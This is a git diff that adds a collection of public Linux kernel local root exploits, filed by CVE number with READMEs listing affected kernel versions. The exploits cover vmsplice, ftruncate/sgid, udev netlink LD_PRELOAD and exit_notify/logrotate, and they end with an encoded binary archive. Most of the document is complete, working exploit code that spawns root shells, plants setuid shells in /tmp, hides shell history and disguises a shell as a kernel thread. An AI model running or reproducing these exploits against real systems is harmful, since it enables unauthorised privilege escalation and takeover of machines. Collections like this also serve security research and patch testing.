a/2008/CVE-2008-0900/5092.c b/2008/CVE-2008-0900/5092.c new file mode 100644 index 0000000..8d6a665 --- /dev/null +++ b/2008/CVE-2008-0900/5092.c @@ -0,0 +1,289 @@ +/* + * jessica_biel_naked_in_my_bed.c + * + * Dovalim z knajpy a cumim ze Wojta zas nema co robit, kura. + * Gizdi, tutaj mate cosyk na hrani, kym aj totok vykeca. + * Stejnak je to stare jak cyp a aj jakesyk rozbite. + * + * Linux vmsplice Local Root Exploit + * By qaaz + * + * Linux 2.6.17 - 2.6.24.1 + * + * This is quite old code and I had to rewrite it to even compile. + * It should work well, but I don't remeber original intent of all + * the code, so I'm not 100% sure about it. You've been warned ;) + * + * -static -Wno-format + */ +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#define __KERNEL__ +#include + +#define PIPE_BUFFERS 16 +#define PG_compound 14 +#define uint unsigned int +#define static_inline static inline __attribute__((always_inline)) +#define STACK(x) (x + sizeof(x) - 40) + +struct page { + unsigned long flags; + int count; + int mapcount; + unsigned long private; + void *mapping; + unsigned long index; + struct { long next, prev; } lru; +}; + +void exit_code(); +char exit_stack[1024 * 1024]; + +void die(char *msg, int err) +{ + printf(err ? "[-] %s: %s\n" : "[-] %s\n", msg, strerror(err)); + fflush(stdout); + fflush(stderr); + exit(1); +} + +#if defined (__i386__) + +#ifndef __NR_vmsplice +#define __NR_vmsplice 316 +#endif + +#define USER_CS 0x73 +#define USER_SS 0x7b +#define USER_FL 0x246 + +static_inline +void exit_kernel() +{ + __asm__ __volatile__ ( + "movl %0, 0x10(%%esp) ;" + "movl %1, 0x0c(%%esp) ;" + "movl %2, 0x08(%%esp) ;" + "movl %3, 0x04(%%esp) ;" + "movl %4, 0x00(%%esp) ;" + "iret" + : : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL), + "i" (USER_CS), "r" (exit_code) + ); +} + +static_inline +void * get_current() +{ + unsigned long curr; + __asm__ __volatile__ ( + "movl %%esp, %%eax ;" + "andl %1, %%eax ;" + "movl (%%eax), %0" + : "=r" (curr) + : "i" (~8191) + ); + return (void *) curr; +} + +#elif defined (__x86_64__) + +#ifndef __NR_vmsplice +#define __NR_vmsplice 278 +#endif + +#define USER_CS 0x23 +#define USER_SS 0x2b +#define USER_FL 0x246 + +static_inline +void exit_kernel() +{ + __asm__ __volatile__ ( + "swapgs ;" + "movq %0, 0x20(%%rsp) ;" + "movq %1, 0x18(%%rsp) ;" + "movq %2, 0x10(%%rsp) ;" + "movq %3, 0x08(%%rsp) ;" + "movq %4, 0x00(%%rsp) ;" + "iretq" + : : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL), + "i" (USER_CS), "r" (exit_code) + ); +} + +static_inline +void * get_current() +{ + unsigned long curr; + __asm__ __volatile__ ( + "movq %%gs:(0), %0" + : "=r" (curr) + ); + return (void *) curr; +} + +#else +#error "unsupported arch" +#endif + +#if defined (_syscall4) +#define __NR__vmsplice __NR_vmsplice +_syscall4( + long, _vmsplice, + int, fd, + struct iovec *, iov, + unsigned long, nr_segs, + unsigned int, flags) + +#else +#define _vmsplice(fd,io,nr,fl) syscall(__NR_vmsplice, (fd), (io), (nr), (fl)) +#endif + +static uint uid, gid; + +void kernel_code() +{ + int i; + uint *p = get_current(); + + for (i = 0; i < 1024-13; i++) { + if (p[0] == uid && p[1] == uid && + p[2] == uid && p[3] == uid && + p[4] == gid && p[5] == gid && + p[6] == gid && p[7] == gid) { + p[0] = p[1] = p[2] = p[3] = 0; + p[4] = p[5] = p[6] = p[7] = 0; + p = (uint *) ((char *)(p + 8) + sizeof(void *)); + p[0] = p[1] = p[2] = ~0; + break; + } + p++; + } + + exit_kernel(); +} + +void exit_code() +{ + if (getuid() != 0) + die("wtf", 0); + + printf("[+] root\n"); + putenv("HISTFILE=/dev/null"); + execl("/bin/bash", "bash", "-i", NULL); + die("/bin/bash", errno); +} + +int main(int argc, char *argv[]) +{ + int pi[2]; + size_t map_size; + char * map_addr; + struct iovec iov; + struct page * pages[5]; + + uid = getuid(); + gid = getgid(); + setresuid(uid, uid, uid); + setresgid(gid, gid, gid); + + printf("-----------------------------------\n"); + printf(" Linux vmsplice Local Root Exploit\n"); + printf(" By qaaz\n"); + printf("-----------------------------------\n"); + + if (!uid || !gid) + die("!@#$", 0); + + /*****/ + pages[0] = *(void **) &(int[2]){0,PAGE_SIZE}; + pages[1] = pages[0] + 1; + + map_size = PAGE_SIZE; + map_addr = mmap(pages[0], map_size, PROT_READ | PROT_WRITE, + MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); + if (map_addr == MAP_FAILED) + die("mmap", errno); + + memset(map_addr, 0, map_size); + printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size); + printf("[+] page: 0x%lx\n", pages[0]); + printf("[+] page: 0x%lx\n", pages[1]); + + pages[0]->flags = 1 << PG_compound; + pages[0]->private = (unsigned long) pages[0]; + pages[0]->count = 1; + pages[1]->lru.next = (long) kernel_code; + + /*****/ + pages[2] = *(void **) pages[0]; + pages[3] = pages[2] + 1; + + map_size = PAGE_SIZE; + map_addr = mmap(pages[2], map_size, PROT_READ | PROT_WRITE, + MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); + if (map_addr == MAP_FAILED) + die("mmap", errno); + + memset(map_addr, 0, map_size); + printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size); + printf("[+] page: 0x%lx\n", pages[2]); + printf("[+] page: 0x%lx\n", pages[3]); + + pages[2]->flags = 1 << PG_compound; + pages[2]->private = (unsigned long) pages[2]; + pages[2]->count = 1; + pages[3]->lru.next = (long) kernel_code; + + /*****/ + pages[4] = *(void **) &(int[2]){PAGE_SIZE,0}; + map_size = PAGE_SIZE; + map_addr = mmap(pages[4], map_size, PROT_READ | PROT_WRITE, + MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); + if (map_addr == MAP_FAILED) + die("mmap", errno); + memset(map_addr, 0, map_size); + printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size); + printf("[+] page: 0x%lx\n", pages[4]); + + /*****/ + map_size = (PIPE_BUFFERS * 3 + 2) * PAGE_SIZE; + map_addr = mmap(NULL, map_size, PROT_READ | PROT_WRITE, + MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); + if (map_addr == MAP_FAILED) + die("mmap", errno); + + memset(map_addr, 0, map_size); + printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size); + + /*****/ + map_size -= 2 * PAGE_SIZE; + if (munmap(map_addr + map_size, PAGE_SIZE) < 0) + die("munmap", errno); + + /*****/ + if (pipe(pi) < 0) die("pipe", errno); + close(pi[0]); + + iov.iov_base = map_addr; + iov.iov_len = ULONG_MAX; + + signal(SIGPIPE, exit_code); + _vmsplice(pi[1], &iov, 1, 0); + die("vmsplice", errno); + return 0; +} + +// milw0rm.com [2008-02-09] diff --git a/2008/CVE-2008-0900/README.md b/2008/CVE-2008-0900/README.md new file mode 100644 index 0000000..d24bf0e --- /dev/null +++ b/2008/CVE-2008-0900/README.md @@ -0,0 +1,13 @@ +# CVE-2008-0900 + +CVE-2008-0900 + +Vulnerability reference: + * [CVE-2008-0900](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2008-0900) + * [exp-db](https://www.exploit-db.com/exploits/5092/) + +## Kernels +``` +2.6.17, 2.6.18, 2.6.19, 2.6.20, 2.6.21, 2.6.22, 2.6.23, 2.6.24, 2.6.24.1 +``` + diff --git a/2008/CVE-2008-4210/6851.c b/2008/CVE-2008-4210/6851.c new file mode 100644 index 0000000..9956f08 --- /dev/null +++ b/2008/CVE-2008-4210/6851.c @@ -0,0 +1,88 @@ +/* +gw-ftrex.c: + +Linux kernel < 2.6.22 open/ftruncate local exploit +by + +bug information: +http://osvdb.org/49081 + + +!!!This is for educational purposes only!!! + +To use it, you've got to find a sgid directory you've got +permissions to write into (obviously world-writable), e.g: +find / -perm -2000 -type d 2>/dev/null|xargs ls -ld|grep "rwx" +which fortunately is not common those days :) +And also a shell that does not drop sgid privs upon execution (like ash/sash). +E.g: + +test:/fileserver/samba$ ls -ld +drwxrwsrwx 2 root root 4096 2008-10-27 16:27. +test:/fileserver/samba$ id +uid=33(www-data) gid=33(www-data) groups=33(www-data) +test:/fileserver/samba$ /tmp/gw-ftrex +ash shell found! +size=80200 +We're evil evil evil! + +$ id +uid=33(www-data) gid=33(www-data) egid=0(root) groups=33(www-data) + +Trqbva da kaja neshto umno kato zakliuchenie...ma sega ne moga da se setia. +*/ + + + +#include +#include +#include +#include + +int main(int argc, char *argv[]) +{ +char *buf=malloc(3096*1024); //3mb just to be sure +int a,len; +int fd,fd1; +char *buf1; +int shell=0; + + +if (stat("/bin/ash",buf)==0) +{ + printf("ash shell found!\n"); + shell=1; +} + +if (shell==0) if (stat("/bin/sash",buf)==0) +{ + printf("sash shell found!\n"); + shell=1; +} + +if (shell==0) +{ + printf("no suitable shell found (one that does not drop sgid permissions) :(\n"); + exit(2); +} + + +len=0; +if (shell==1) fd=open("/bin/ash",O_RDONLY); +if (shell==2) fd=open("/bin/sash",O_RDONLY); + +while (read(fd,buf+len,1)) len++; + +printf("size=%d\n",len); +fd1=open(".evilsploit",O_RDWR | O_CREAT | O_EXCL, 02750); +ftruncate(fd1, len); +buf1 = mmap(NULL, len, PROT_WRITE | PROT_EXEC, MAP_SHARED, fd1, 0); +memcpy(buf1,buf,len); +munmap(buf1,len); +close(fd1);close(fd); +free(buf); +printf("We're evil evil evil!\n\n"); +execv(".evilsploit", NULL); +} + +// milw0rm.com [2008-10-27] diff --git a/2008/CVE-2008-4210/README.md b/2008/CVE-2008-4210/README.md new file mode 100644 index 0000000..9420dbe --- /dev/null +++ b/2008/CVE-2008-4210/README.md @@ -0,0 +1,13 @@ +# CVE-2008-4210 + +CVE-2008-4210 + +Vulnerability reference: + * [CVE-2008-4210](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2008-4210) + * [exp-db](https://www.exploit-db.com/exploits/6851/) + +## Kernels +``` +2.6.11, 2.6.12, 2.6.13, 2.6.14, 2.6.15, 2.6.16, 2.6.17, 2.6.18, 2.6.19, 2.6.20, 2.6.21, 2.6.22 +``` + diff --git a/2009/CVE-2009-1185/8478.sh b/2009/CVE-2009-1185/8478.sh new file mode 100644 index 0000000..3b30bf0 --- /dev/null +++ b/2009/CVE-2009-1185/8478.sh @@ -0,0 +1,133 @@ +#!/bin/sh +# Linux 2.6 +# bug found by Sebastian Krahmer +# +# lame sploit using LD technique +# by kcope in 2009 +# tested on debian-etch,ubuntu,gentoo +# do a 'cat /proc/net/netlink' +# and set the first arg to this +# script to the pid of the netlink socket +# (the pid is udevd_pid - 1 most of the time) +# + sploit has to be UNIX formatted text :) +# + if it doesn't work the 1st time try more often +# +# WARNING: maybe needs some FIXUP to work flawlessly +## greetz fly out to alex,andi,adize,wY!,revo,j! and the gang + +cat > udev.c << _EOF +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#ifndef NETLINK_KOBJECT_UEVENT +#define NETLINK_KOBJECT_UEVENT 15 +#endif + +#define SHORT_STRING 64 +#define MEDIUM_STRING 128 +#define BIG_STRING 256 +#define LONG_STRING 1024 +#define EXTRALONG_STRING 4096 +#define TRUE 1 +#define FALSE 0 + +int socket_fd; +struct sockaddr_nl address; +struct msghdr msg; +struct iovec iovector; +int sz = 64*1024; + +main(int argc, char **argv) { + char sysfspath[SHORT_STRING]; + char subsystem[SHORT_STRING]; + char event[SHORT_STRING]; + char major[SHORT_STRING]; + char minor[SHORT_STRING]; + + sprintf(event, "add"); + sprintf(subsystem, "block"); + sprintf(sysfspath, "/dev/foo"); + sprintf(major, "8"); + sprintf(minor, "1"); + + memset(&address, 0, sizeof(address)); + address.nl_family = AF_NETLINK; + address.nl_pid = atoi(argv[1]); + address.nl_groups = 0; + + msg.msg_name = (void*)&address; + msg.msg_namelen = sizeof(address); + msg.msg_iov = &iovector; + msg.msg_iovlen = 1; + + socket_fd = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT); + bind(socket_fd, (struct sockaddr *) &address, sizeof(address)); + + char message[LONG_STRING]; + char *mp; + + mp = message; + mp += sprintf(mp, "%s@%s", event, sysfspath) +1; + mp += sprintf(mp, "ACTION=%s", event) +1; + mp += sprintf(mp, "DEVPATH=%s", sysfspath) +1; + mp += sprintf(mp, "MAJOR=%s", major) +1; + mp += sprintf(mp, "MINOR=%s", minor) +1; + mp += sprintf(mp, "SUBSYSTEM=%s", subsystem) +1; + mp += sprintf(mp, "LD_PRELOAD=/tmp/libno_ex.so.1.0") +1; + + iovector.iov_base = (void*)message; + iovector.iov_len = (int)(mp-message); + + char *buf; + int buflen; + buf = (char *) &msg; + buflen = (int)(mp-message); + + sendmsg(socket_fd, &msg, 0); + + close(socket_fd); + + sleep(10); + execl("/tmp/suid", "suid", (void*)0); +} + +_EOF +gcc udev.c -o /tmp/udev +cat > program.c << _EOF +#include +#include +#include +#include + +void _init() +{ + setgid(0); + setuid(0); + unsetenv("LD_PRELOAD"); + execl("/bin/sh","sh","-c","chown root:root /tmp/suid; chmod +s /tmp/suid",NULL); +} + +_EOF +gcc -o program.o -c program.c -fPIC +gcc -shared -Wl,-soname,libno_ex.so.1 -o libno_ex.so.1.0 program.o -nostartfiles +cat > suid.c << _EOF +int main(void) { + setgid(0); setuid(0); + execl("/bin/sh","sh",0); } +_EOF +gcc -o /tmp/suid suid.c +cp libno_ex.so.1.0 /tmp/libno_ex.so.1.0 +/tmp/udev $1 + +# milw0rm.com [2009-04-20] diff --git a/2009/CVE-2009-1185/README.md b/2009/CVE-2009-1185/README.md new file mode 100644 index 0000000..12eda24 --- /dev/null +++ b/2009/CVE-2009-1185/README.md @@ -0,0 +1,13 @@ +# CVE-2009-1185 + +CVE-2009-1185 + +Vulnerability reference: + * [CVE-2009-1185](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2009-1185) + * [exp-db](https://www.exploit-db.com/exploits/8478/) + +## Kernels +``` +2.6.25, 2.6.26, 2.6.27, 2.6.28, 2.6.29 +``` + diff --git a/2009/CVE-2009-1337/8369.sh b/2009/CVE-2009-1337/8369.sh new file mode 100644 index 0000000..344e177 --- /dev/null +++ b/2009/CVE-2009-1337/8369.sh @@ -0,0 +1,103 @@ +#!/bin/sh + +################################################################################### +# gw-notexit.sh: Linux kernel <2.6.29 exit_notify() local root exploit +# +# by Milen Rangelov (gat3way-at-gat3way-dot-eu) +# +# Based on 'exit_notify()' CAP_KILL verification bug found by Oleg Nestorov. +# Basically it allows us to send arbitrary signals to a privileged (suidroot) +# parent process. Due to a bad check, the child process with appropriate exit signal +# already set can first execute a suidroot binary then exit() and thus bypass +# in-kernel privilege checks. We use chfn and gpasswd for that purpose. +# +# !!!!!!!!!!! +# Needs /proc/sys/fs/suid_dumpable set to 1 or 2. The default is 0 +# so you'll be out of luck most of the time. +# So it is not going to be the script kiddies' new killer shit :-) +# !!!!!!!!!!! +# +# if you invent a better way to escalate privileges by sending arbitrary signals to +# the parent process, please mail me :) That was the best I could think of today :-( +# +# This one made me nostalgic about the prctl(PR_SET_DUMPABLE,2) madness +# +# Skuchna rabota... +# +#################################################################################### + + + + +SUIDDUMP=`cat /proc/sys/fs/suid_dumpable` +if [ $SUIDDUMP -lt 1 ]; then echo -e "suid_dumpable=0 - system not vulnerable!\n";exit; fi +if [ -d /etc/logrotate.d ]; then +echo "logrotate installed, that's good!" +else +echo "No logrotate installed, sorry!";exit +fi + +echo -e "Compiling the bash setuid() wrapper..." +cat >> /tmp/.m.c << EOF +#include +#include + +int main() +{ + setuid(0); + execl("/bin/bash","[kthreadd]",NULL); +} +EOF + +cc /tmp/.m.c -o /tmp/.m +rm /tmp/.m.c + +echo -e "Compiling the exploit code..." + +cat >> /tmp/exploit.c << EOF +#include +#include +#include +#include +#include + +int child(void *data) +{ + sleep(2); + printf("I'm gonna kill the suidroot father without having root rights :D\n"); + execl("/usr/bin/gpasswd","%s",NULL); + exit(0); +} + +int main() +{ + int stacksize = 4*getpagesize(); + void *stack, *stacktop; + stack = malloc(stacksize); + stacktop = stack + stacksize; + chdir("/etc/logrotate.d"); + int p = clone(child, stacktop, CLONE_FILES|SIGSEGV, NULL); + if (p>0) execl("/usr/bin/chfn","\n/tmp/.a\n{\nsize=0\nprerotate\n\tchown root /tmp/.m;chmod u+s /tmp/.m\nendscript\n}\n\n",NULL); +} +EOF + +cc /tmp/exploit.c -o /tmp/.ex +rm /tmp/exploit.c + +echo -e "Setting coredump limits and running the exploit...\n" +ulimit -c 10000 +touch /tmp/.a +`/tmp/.ex >/dev/null 2>/dev/null` +sleep 5 +rm /tmp/.ex + +if [ -e /etc/logrotate.d/core ]; then +echo -e "Successfully coredumped into the logrotate config dir\nNow wait until cron.daily executes logrotate and makes your shell wrapper suid\n" +echo -e "The shell should be located in /tmp/.m - just run /tmp/.m after 24h and you'll be root" +echo -e "\nYour terminal is most probably screwed now, sorry for that..." +exit +fi + +echo "The system is not vulnerable, sorry :(" + +# milw0rm.com [2009-04-08] diff --git a/2009/CVE-2009-1337/README.md b/2009/CVE-2009-1337/README.md new file mode 100644 index 0000000..c03fedd --- /dev/null +++ b/2009/CVE-2009-1337/README.md @@ -0,0 +1,15 @@ +# CVE-2009-1337 + +CVE-2009-1337 + +Vulnerability reference: + * [CVE-2009-1337](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2009-1337) + * [exp-db](https://www.exploit-db.com/exploits/8369/) + +## Kernels +``` +2.6.25, 2.6.26, 2.6.27, 2.6.28, 2.6.29 +``` + + + diff --git a/2009/CVE-2009-2692/9435.tgz b/2009/CVE-2009-2692/9435.tgz new file mode 100644 index 0000000000000000000000000000000000000000..46f20ca007fe989ceed127760e25d8750e084497 GIT binary patch literal 3492015 zcmb?g<5wjP*PUvbT$5eXWV@SfH`#XGY}++y>So)v&6{o8*86+^hv&;#=hI&M!`^G{ zvk!3;>^B8qi1at8^9`?zn1$DG*GHOHJc+m|Lz$d5A`>l>gDv}0LKyL_q87gWHs=%P zxK0jH`*`s(sA6ruQZP#Qvn2EKFfj8tRmL8YQa`GWUMfF;gwmOJ3fcNcPbV+Fspf}1 zOM2Fw)|F41Z{6%2;Ovvhv+Vek%gL$9(K}4D;a+0;O^ekQ2PO(OTLM3ycU&?uGKxV! zjDpoV72Ga*LK+!6guAiq=9Xoq6-{y6{wy&@GYy2Ytw-&!}!1UFm z73X%GB`IgGTtb4c-6uL8yIdQ`S47Oj`+sP%-xc18=ia-Yu(Q9?_`m!s`edt%O?`!m z7>jqd7vsBIk`B(k#;rqqvs>TG9ZB!@96LQ;xIUxl^m|9}?b4VTVD(}uKqrL9cV2va zf7&VBY*JQpWuESdF8*+Pzbh5@C$ zbH#cB3USuN&a^ZmmX|NBjJc7*8*q=jhw7vnTgq!bdCOZTMsa>f<&><$=~p*L815aU z6Dps2*g;4O;SOgusrrAjGK~-GnkczCWgM+ikZZGM^7+2n)Q`vS=PeE*zNY2ggprP5 z1maT??|5P)M8(}D++j>Mo}ℜXv>&T64u9x+^9-wesiV?U1U&qiQT!pK0Av-S#29 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 